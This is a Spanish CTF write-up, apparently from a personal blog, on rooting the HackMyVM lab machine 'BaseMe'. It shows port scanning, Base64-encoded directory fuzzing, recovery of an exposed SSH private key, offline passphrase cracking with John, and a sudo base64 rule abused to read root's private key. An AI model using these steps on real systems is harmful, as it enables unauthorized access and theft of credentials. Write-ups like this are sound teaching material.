cd ~/blog

~/writeups/hmv/050-baseme.md

050 - BaseMe

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credential ExposureSSH Private Key ExposureWeak PasswordArbitrary File ReadSudo-Allowed Program Abuse
hackmyvm.eu/machines/machine.php?vm=BaseMe

~1 min de lectura


Enumeración de servicios

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.17
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.17
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-22 00:28 -03
Nmap scan report for 192.168.1.17
Host is up (0.00030s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA)
|   256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA)
|_  256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds

Un curl al sitio devuelve texto en Base64 y un comentario con posibles contraseñas. Base64 es una codificación reversible, no cifrado, por lo que no protege los datos publicados:

❯ curl http://192.168.1.17
QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK

<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->

Decodificamos el mensaje:

❯ echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK" | base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

El mensaje sugiere que las propias rutas también están codificadas. Generamos un wordlist transformando cada entrada de common.txt a Base64 y usamos esos valores como nombres de recurso:

❯ cat wordlist.py
import base64
import multiprocessing

def process_word(word):
    encoded_word = base64.b64encode(word.encode()).decode()
    with open("wordlist_fuzz_base64_v2.txt", "a") as f:
        f.write(encoded_word + "\n")

if __name__ == "__main__":
    with open("/home/wh01s17/Documentos/wordlists/SecLists/Discovery/Web-Content/common.txt", "r") as
file:
        words = file.readlines()

    pool = multiprocessing.Pool()
    pool.map(process_word, words)
    pool.close()
    pool.join()
❯ gobuster dir -u 'http://192.168.1.17' -w wordlist_fuzz_base64_v2.txt -x php,txt,html -r
...
/aWRfcnNhCg==         (Status: 200) [Size: 2537]
/cm9ib3RzLnR4dAo=     (Status: 200) [Size: 25]
...

Los nombres decodifican a id_rsa y robots.txt. Descargamos la id_rsa (también en base64):

❯ curl http://192.168.1.17/aWRfcnNhCg==
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
...

SSH Private Key Exposure y Weak Password

La decodificamos para obtener la clave privada:

❯ echo "..." | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBTxe8YUL
...
-----END OPENSSH PRIVATE KEY-----

La clave pide passphrase. El comentario aporta candidatos, pero la temática de la máquina indica que debemos probar su representación en Base64. Generamos el diccionario transformado y realizamos un ataque fuera de línea con John, lo que constituye Password Guessing sobre la clave privada:

❯ for PASSWD in $(cat passwds.txt); do echo "$PASSWD" | base64 >> passwd_base64.txt;done
❯ /opt/john/run/john -w=passwd_base64.txt hash
...
aWxvdmV5b3UK     (id_rsa)
...

John devuelve aWxvdmV5b3UK, cuya decodificación es iloveyou seguida de un salto de línea. Usamos la passphrase resultante para conectarnos como lucas y recuperar la primera flag.

Sudo-Allowed Program Abuse

Revisamos sudo -l:

lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on baseme:
    (ALL) NOPASSWD: /usr/bin/base64

La regla permite Sudo-Allowed Program Abuse con impacto de Arbitrary File Read. base64 abre el archivo indicado dentro del proceso privilegiado y emite su contenido codificado; el segundo base64 -d se ejecuta sin sudo y sólo revierte la representación recibida. Así volcamos la id_rsa de root:

lucas@baseme:~$ LFILE=/root/.ssh/id_rsa
lucas@baseme:~$ sudo base64 "$LFILE" | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----

Con esa clave nos conectamos como root:

❯ chmod 600 id_rsa_root
❯ ssh root@192.168.1.17 -i id_rsa_root
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
...
Last login: Mon Sep 28 12:47:13 2020 from 192.168.1.59
root@baseme:~#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados